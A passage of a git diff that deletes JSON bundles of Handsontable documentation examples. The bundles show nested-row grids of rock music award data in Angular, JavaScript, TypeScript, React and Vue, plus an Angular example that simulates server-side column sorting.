},\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport Handsontable from 'handsontable';\nimport { GridSettings, HotTableModule} from '@handsontable/angular-wrapper';\n\n@Component({\n selector: 'app-example1',\n template: `\n \n \n `,\n standalone: true,\n imports: [HotTableModule],\n})\nexport class AppComponent {\n\n readonly hotData = [\n {\n category: 'Best Rock Performance',\n artist: null,\n title: null,\n label: null,\n __children: [\n {\n category: 'Major label releases',\n artist: null,\n title: null,\n label: null,\n __children: [\n {\n title: \"Don't Wanna Fight\",\n artist: 'Alabama Shakes',\n label: 'ATO Records',\n },\n {\n title: 'What Kind Of Man',\n artist: 'Florence & The Machine',\n label: 'Republic',\n },\n {\n title: 'Something From Nothing',\n artist: 'Foo Fighters',\n label: 'RCA Records',\n },\n ],\n },\n {\n category: 'Independent releases',\n artist: null,\n title: null,\n label: null,\n __children: [\n {\n title: 'Moaning Lisa Smile',\n artist: 'Wolf Alice',\n label: 'RCA Records/Dirty Hit',\n },\n {\n title: \"Ex's & Oh's\",\n artist: 'Elle King',\n label: 'RCA Records',\n },\n ],\n },\n ],\n },\n {\n category: 'Best Metal Performance',\n __children: [\n {\n title: 'Cirice',\n artist: 'Ghost',\n label: 'Loma Vista Recordings',\n },\n {\n title: 'Identity',\n artist: 'August Burns Red',\n label: 'Fearless Records',\n },\n {\n title: '512',\n artist: 'Lamb Of God',\n label: 'Epic Records',\n },\n {\n title: 'Thank You',\n artist: 'Sevendust',\n label: '7Bros Records',\n },\n {\n title: 'Custer',\n artist: 'Slipknot',\n label: 'Roadrunner Records',\n },\n ],\n },\n {\n category: 'Best Rock Song',\n __children: [\n {\n title: \"Don't Wanna Fight\",\n artist: 'Alabama Shakes',\n label: 'ATO Records',\n },\n {\n title: \"Ex's & Oh's\",\n artist: 'Elle King',\n label: 'RCA Records',\n },\n {\n title: 'Hold Back The River',\n artist: 'James Bay',\n label: 'Republic',\n },\n {\n title: 'Lydia',\n artist: 'Highly Suspect',\n label: '300 Entertainment',\n },\n {\n title: 'What Kind Of Man',\n artist: 'Florence & The Machine',\n label: 'Republic',\n },\n ],\n },\n {\n category: 'Best Rock Album',\n __children: [\n {\n title: 'Drones',\n artist: 'Muse',\n label: 'Warner Bros. Records',\n },\n {\n title: 'Chaos And The Calm',\n artist: 'James Bay',\n label: 'Republic',\n },\n {\n title: 'Kintsugi',\n artist: 'Death Cab For Cutie',\n label: 'Atlantic',\n },\n {\n title: 'Mister Asylum',\n artist: 'Highly Suspect',\n label: '300 Entertainment',\n },\n {\n title: '.5: The Gray Chapter',\n artist: 'Slipknot',\n label: 'Roadrunner Records',\n },\n ],\n },\n ];\n\n readonly hotSettings: GridSettings = {\n preventOverflow: 'horizontal',\n rowHeaders: true,\n colHeaders: ['Category', 'Artist', 'Title', 'Album', 'Label'],\n nestedRows: true,\n contextMenu: true,\n bindRowsWithHeaders: true,\n autoWrapRow: true,\n autoWrapCol: true,\n height: 'auto',\n afterInit(this: Handsontable) {\n this.getPlugin('nestedRows').collapsingUI?.collapseChildren(8);\n },\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/rows/row-parent-child/angular/example1.ts","breadcrumb":["Rows","Row parent-child"],"guide":"guides/rows/row-parent-child/row-parent-child.md","guideTitle":"Row parent-child","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/row-parent-child","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__row-parent-child__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/guides__rows__row-parent-child__javascript__example1.js.json deleted file mode 100644 index ffebd68d..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__rows__row-parent-child__javascript__example1.js.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"javascript","displayName":"Rows ▸ Row parent-child · Standard example · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n// Register all Handsontable's modules.\nregisterAllModules();\nconst sourceDataObject = [\n {\n category: 'Best Rock Performance',\n artist: null,\n title: null,\n label: null,\n __children: [\n {\n category: 'Major label releases',\n artist: null,\n title: null,\n label: null,\n __children: [\n {\n title: \"Don't Wanna Fight\",\n artist: 'Alabama Shakes',\n label: 'ATO Records',\n },\n {\n title: 'What Kind Of Man',\n artist: 'Florence & The Machine',\n label: 'Republic',\n },\n {\n title: 'Something From Nothing',\n artist: 'Foo Fighters',\n label: 'RCA Records',\n },\n ],\n },\n {\n category: 'Independent releases',\n artist: null,\n title: null,\n label: null,\n __children: [\n {\n title: 'Moaning Lisa Smile',\n artist: 'Wolf Alice',\n label: 'RCA Records/Dirty Hit',\n },\n {\n title: \"Ex's & Oh's\",\n artist: 'Elle King',\n label: 'RCA Records',\n },\n ],\n },\n ],\n },\n {\n category: 'Best Metal Performance',\n __children: [\n {\n title: 'Cirice',\n artist: 'Ghost',\n label: 'Loma Vista Recordings',\n },\n {\n title: 'Identity',\n artist: 'August Burns Red',\n label: 'Fearless Records',\n },\n {\n title: '512',\n artist: 'Lamb Of God',\n label: 'Epic Records',\n },\n {\n title: 'Thank You',\n artist: 'Sevendust',\n label: '7Bros Records',\n },\n {\n title: 'Custer',\n artist: 'Slipknot',\n label: 'Roadrunner Records',\n },\n ],\n },\n {\n category: 'Best Rock Song',\n __children: [\n {\n title: \"Don't Wanna Fight\",\n artist: 'Alabama Shakes',\n label: 'ATO Records',\n },\n {\n title: \"Ex's & Oh's\",\n artist: 'Elle King',\n label: 'RCA Records',\n },\n {\n title: 'Hold Back The River',\n artist: 'James Bay',\n label: 'Republic',\n },\n {\n title: 'Lydia',\n artist: 'Highly Suspect',\n label: '300 Entertainment',\n },\n {\n title: 'What Kind Of Man',\n artist: 'Florence & The Machine',\n label: 'Republic',\n },\n ],\n },\n {\n category: 'Best Rock Album',\n __children: [\n {\n title: 'Drones',\n artist: 'Muse',\n label: 'Warner Bros. Records',\n },\n {\n title: 'Chaos And The Calm',\n artist: 'James Bay',\n label: 'Republic',\n },\n {\n title: 'Kintsugi',\n artist: 'Death Cab For Cutie',\n label: 'Atlantic',\n },\n {\n title: 'Mister Asylum',\n artist: 'Highly Suspect',\n label: '300 Entertainment',\n },\n {\n title: '.5: The Gray Chapter',\n artist: 'Slipknot',\n label: 'Roadrunner Records',\n },\n ],\n },\n];\nconst container = document.querySelector('#example1');\nnew Handsontable(container, {\n data: sourceDataObject,\n preventOverflow: 'horizontal',\n rowHeaders: true,\n colHeaders: ['Category', 'Artist', 'Title', 'Album', 'Label'],\n nestedRows: true,\n contextMenu: true,\n bindRowsWithHeaders: true,\n autoWrapRow: true,\n autoWrapCol: true,\n height: 'auto',\n licenseKey: 'non-commercial-and-evaluation',\n // Collapse \"Best Metal Performance\" on load to demonstrate expand/collapse controls.\n afterInit() {\n this.getPlugin('nestedRows').collapsingUI.collapseChildren(8);\n },\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/rows/row-parent-child/javascript/example1.js","breadcrumb":["Rows","Row parent-child"],"guide":"guides/rows/row-parent-child/row-parent-child.md","guideTitle":"Row parent-child","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/row-parent-child","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__row-parent-child__javascript__example1.ts.json b/runner/apps/authoring/public/docs-examples/guides__rows__row-parent-child__javascript__example1.ts.json deleted file mode 100644 index 78da6930..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__rows__row-parent-child__javascript__example1.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"typescript","displayName":"Rows ▸ Row parent-child · Standard example · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\ninterface MusicRow {\n category?: string;\n artist?: string | null;\n title?: string | null;\n label?: string | null;\n __children?: MusicRow[];\n}\n\nconst sourceDataObject: MusicRow[] = [\n {\n category: 'Best Rock Performance',\n artist: null,\n title: null,\n label: null,\n __children: [\n {\n category: 'Major label releases',\n artist: null,\n title: null,\n label: null,\n __children: [\n {\n title: \"Don't Wanna Fight\",\n artist: 'Alabama Shakes',\n label: 'ATO Records',\n },\n {\n title: 'What Kind Of Man',\n artist: 'Florence & The Machine',\n label: 'Republic',\n },\n {\n title: 'Something From Nothing',\n artist: 'Foo Fighters',\n label: 'RCA Records',\n },\n ],\n },\n {\n category: 'Independent releases',\n artist: null,\n title: null,\n label: null,\n __children: [\n {\n title: 'Moaning Lisa Smile',\n artist: 'Wolf Alice',\n label: 'RCA Records/Dirty Hit',\n },\n {\n title: \"Ex's & Oh's\",\n artist: 'Elle King',\n label: 'RCA Records',\n },\n ],\n },\n ],\n },\n {\n category: 'Best Metal Performance',\n __children: [\n {\n title: 'Cirice',\n artist: 'Ghost',\n label: 'Loma Vista Recordings',\n },\n {\n title: 'Identity',\n artist: 'August Burns Red',\n label: 'Fearless Records',\n },\n {\n title: '512',\n artist: 'Lamb Of God',\n label: 'Epic Records',\n },\n {\n title: 'Thank You',\n artist: 'Sevendust',\n label: '7Bros Records',\n },\n {\n title: 'Custer',\n artist: 'Slipknot',\n label: 'Roadrunner Records',\n },\n ],\n },\n {\n category: 'Best Rock Song',\n __children: [\n {\n title: \"Don't Wanna Fight\",\n artist: 'Alabama Shakes',\n label: 'ATO Records',\n },\n {\n title: \"Ex's & Oh's\",\n artist: 'Elle King',\n label: 'RCA Records',\n },\n {\n title: 'Hold Back The River',\n artist: 'James Bay',\n label: 'Republic',\n },\n {\n title: 'Lydia',\n artist: 'Highly Suspect',\n label: '300 Entertainment',\n },\n {\n title: 'What Kind Of Man',\n artist: 'Florence & The Machine',\n label: 'Republic',\n },\n ],\n },\n {\n category: 'Best Rock Album',\n __children: [\n {\n title: 'Drones',\n artist: 'Muse',\n label: 'Warner Bros. Records',\n },\n {\n title: 'Chaos And The Calm',\n artist: 'James Bay',\n label: 'Republic',\n },\n {\n title: 'Kintsugi',\n artist: 'Death Cab For Cutie',\n label: 'Atlantic',\n },\n {\n title: 'Mister Asylum',\n artist: 'Highly Suspect',\n label: '300 Entertainment',\n },\n {\n title: '.5: The Gray Chapter',\n artist: 'Slipknot',\n label: 'Roadrunner Records',\n },\n ],\n },\n];\n\nconst container = document.querySelector('#example1')!;\n\nnew Handsontable(container, {\n data: sourceDataObject,\n preventOverflow: 'horizontal',\n rowHeaders: true,\n colHeaders: ['Category', 'Artist', 'Title', 'Album', 'Label'],\n nestedRows: true,\n contextMenu: true,\n bindRowsWithHeaders: true,\n autoWrapRow: true,\n autoWrapCol: true,\n height: 'auto',\n licenseKey: 'non-commercial-and-evaluation',\n // Collapse \"Best Metal Performance\" on load to demonstrate expand/collapse controls.\n afterInit() {\n this.getPlugin('nestedRows').collapsingUI.collapseChildren(8);\n },\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/rows/row-parent-child/javascript/example1.ts","breadcrumb":["Rows","Row parent-child"],"guide":"guides/rows/row-parent-child/row-parent-child.md","guideTitle":"Row parent-child","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/row-parent-child","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__row-parent-child__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/guides__rows__row-parent-child__react__example1.tsx.json deleted file mode 100644 index 7fea58c8..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__rows__row-parent-child__react__example1.tsx.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"react","displayName":"Rows ▸ Row parent-child · Standard example · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/react-wrapper\": \"18.0.0\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example1\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\nimport type Handsontable from 'handsontable/base';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst sourceDataObject = [\n {\n category: 'Best Rock Performance',\n artist: null,\n title: null,\n label: null,\n __children: [\n {\n category: 'Major label releases',\n artist: null,\n title: null,\n label: null,\n __children: [\n {\n title: \"Don't Wanna Fight\",\n artist: 'Alabama Shakes',\n label: 'ATO Records',\n },\n {\n title: 'What Kind Of Man',\n artist: 'Florence & The Machine',\n label: 'Republic',\n },\n {\n title: 'Something From Nothing',\n artist: 'Foo Fighters',\n label: 'RCA Records',\n },\n ],\n },\n {\n category: 'Independent releases',\n artist: null,\n title: null,\n label: null,\n __children: [\n {\n title: 'Moaning Lisa Smile',\n artist: 'Wolf Alice',\n label: 'RCA Records/Dirty Hit',\n },\n {\n title: \"Ex's & Oh's\",\n artist: 'Elle King',\n label: 'RCA Records',\n },\n ],\n },\n ],\n },\n {\n category: 'Best Metal Performance',\n __children: [\n {\n title: 'Cirice',\n artist: 'Ghost',\n label: 'Loma Vista Recordings',\n },\n {\n title: 'Identity',\n artist: 'August Burns Red',\n label: 'Fearless Records',\n },\n {\n title: '512',\n artist: 'Lamb Of God',\n label: 'Epic Records',\n },\n {\n title: 'Thank You',\n artist: 'Sevendust',\n label: '7Bros Records',\n },\n {\n title: 'Custer',\n artist: 'Slipknot',\n label: 'Roadrunner Records',\n },\n ],\n },\n {\n category: 'Best Rock Song',\n __children: [\n {\n title: \"Don't Wanna Fight\",\n artist: 'Alabama Shakes',\n label: 'ATO Records',\n },\n {\n title: \"Ex's & Oh's\",\n artist: 'Elle King',\n label: 'RCA Records',\n },\n {\n title: 'Hold Back The River',\n artist: 'James Bay',\n label: 'Republic',\n },\n {\n title: 'Lydia',\n artist: 'Highly Suspect',\n label: '300 Entertainment',\n },\n {\n title: 'What Kind Of Man',\n artist: 'Florence & The Machine',\n label: 'Republic',\n },\n ],\n },\n {\n category: 'Best Rock Album',\n __children: [\n {\n title: 'Drones',\n artist: 'Muse',\n label: 'Warner Bros. Records',\n },\n {\n title: 'Chaos And The Calm',\n artist: 'James Bay',\n label: 'Republic',\n },\n {\n title: 'Kintsugi',\n artist: 'Death Cab For Cutie',\n label: 'Atlantic',\n },\n {\n title: 'Mister Asylum',\n artist: 'Highly Suspect',\n label: '300 Entertainment',\n },\n {\n title: '.5: The Gray Chapter',\n artist: 'Slipknot',\n label: 'Roadrunner Records',\n },\n ],\n },\n];\n\nconst ExampleComponent = () => {\n return (\n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/rows/row-parent-child/react/example1.tsx","breadcrumb":["Rows","Row parent-child"],"guide":"guides/rows/row-parent-child/row-parent-child.md","guideTitle":"Row parent-child","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/row-parent-child","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__row-parent-child__vue__example1.vue.json b/runner/apps/authoring/public/docs-examples/guides__rows__row-parent-child__vue__example1.vue.json deleted file mode 100644 index 03afc696..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__rows__row-parent-child__vue__example1.vue.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"vue","displayName":"Rows ▸ Row parent-child · Standard example · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/vue3\": \"18.0.0\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example1\");","/src/App.vue":"\n\n"},"docsPath":"guides/rows/row-parent-child/vue/example1.vue","breadcrumb":["Rows","Row parent-child"],"guide":"guides/rows/row-parent-child/row-parent-child.md","guideTitle":"Row parent-child","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/row-parent-child","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__rows-sorting__angular__example11.ts.json b/runner/apps/authoring/public/docs-examples/guides__rows__rows-sorting__angular__example11.ts.json deleted file mode 100644 index e520bf95..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__rows__rows-sorting__angular__example11.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"angular","displayName":"Rows ▸ Rows sorting · Use sorting hooks (2) · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/angular-wrapper\": \"18.0.0\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule } from '@handsontable/angular-wrapper';\nimport type Handsontable from 'handsontable/base';\n\ninterface Row {\n brand: string;\n model: string;\n price: number;\n sellDate: string;\n}\n\nconst originalData: Row[] = [\n { brand: 'Jetpulse', model: 'Racing Socks', price: 30, sellDate: '2023-10-11' },\n { brand: 'Gigabox', model: 'HL Mountain Frame', price: 1890.9, sellDate: '2023-05-03' },\n { brand: 'Camido', model: 'Cycling Cap', price: 130.1, sellDate: '2023-03-27' },\n { brand: 'Chatterpoint', model: 'Road Tire Tube', price: 59, sellDate: '2023-08-28' },\n { brand: 'Eidel', model: 'HL Road Tire', price: 279.99, sellDate: '2023-10-02' },\n];\n\nconst columnDataKeys: (keyof Row)[] = ['brand', 'model', 'price', 'sellDate'];\n\n@Component({\n standalone: true,\n imports: [HotTableModule],\n selector: 'app-example11',\n template: `\n
    \n
    \n {{ status }}\n
    \n
    \n \n `,\n})\nexport class AppComponent {\n status = 'Click a column header to sort.';\n data: Row[] = originalData;\n\n // Canceling the front-end sort also stops Handsontable from tracking the column's sort\n // order, so this example cycles ascending -> descending -> unsorted manually.\n private activeSort: { column: number; sortOrder: 'asc' | 'desc' } | null = null;\n\n private getNextSortOrder(column: number): 'asc' | 'desc' | null {\n if (!this.activeSort || this.activeSort.column !== column) {\n return 'asc';\n }\n\n return this.activeSort.sortOrder === 'asc' ? 'desc' : null;\n }\n\n // Simulates a server that receives a sort request and returns sorted rows.\n private sortOnServer(columnKey: keyof Row, sortOrder: string): Promise {\n return new Promise((resolve) => {\n setTimeout(() => {\n const sortedData = [...originalData].sort((rowA, rowB) => {\n if (rowA[columnKey] === rowB[columnKey]) {\n return 0;\n }\n\n return ((rowA[columnKey] as any) > (rowB[columnKey] as any)) === (sortOrder === 'asc') ? 1 : -1;\n });\n\n resolve(sortedData);\n }, 600);\n });\n }\n\n readonly gridSettings: GridSettings = {\n columns: [\n { title: 'Brand', type: 'text', data: 'brand' },\n { title: 'Model', type: 'text', data: 'model' },\n {\n title: 'Price',\n type: 'numeric',\n data: 'price',\n locale: 'en-US',\n numericFormat: { style: 'currency', currency: 'USD', minimumFractionDigits: 2 },\n },\n {\n title: 'Date',\n type: 'intl-date',\n data: 'sellDate',\n locale: 'en-US',\n dateFormat: { month: 'short', day: 'numeric', year: 'numeric' },\n className: 'htRight',\n },\n ],\n columnSorting: true,\n height: 'auto',\n stretchH: 'all',\n autoWrapRow: true,\n autoWrapCol: true,\n beforeColumnSort: (\n currentSortConfig: Handsontable.plugins.ColumnSorting.Config[],\n destinationSortConfigs: Handsontable.plugins.ColumnSorting.Config[]\n ) => {\n const [requestedSort] = destinationSortConfigs;\n\n if (!requestedSort) {\n // the sorting was cleared programmatically, restore the original row order\n this.activeSort = null;\n this.data = originalData;\n\n return false;\n }\n\n const nextOrder = this.getNextSortOrder(requestedSort.column);\n\n if (nextOrder === null) {\n this.activeSort = null;\n this.status = 'Cleared the sort.';\n this.data = originalData;\n\n return false;\n }\n\n this.activeSort = { column: requestedSort.column, sortOrder: nextOrder };\n this.status = 'Sorting on the server...';\n\n this.sortOnServer(columnDataKeys[requestedSort.column], nextOrder).then((sortedData) => {\n this.data = sortedData;\n this.status = 'Sorted on the server.';\n });\n\n // return `false` to cancel Handsontable's own front-end sort\n return false;\n },\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/rows/rows-sorting/angular/example11.ts","breadcrumb":["Rows","Rows sorting"],"guide":"guides/rows/rows-sorting/rows-sorting.md","guideTitle":"Rows sorting","exampleId":"example11","exampleTitle":"Use sorting hooks (2)","docPermalink":"/rows-sorting","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/guides__rows__rows-sorting__javascript__exampleSortingHooks.js.json 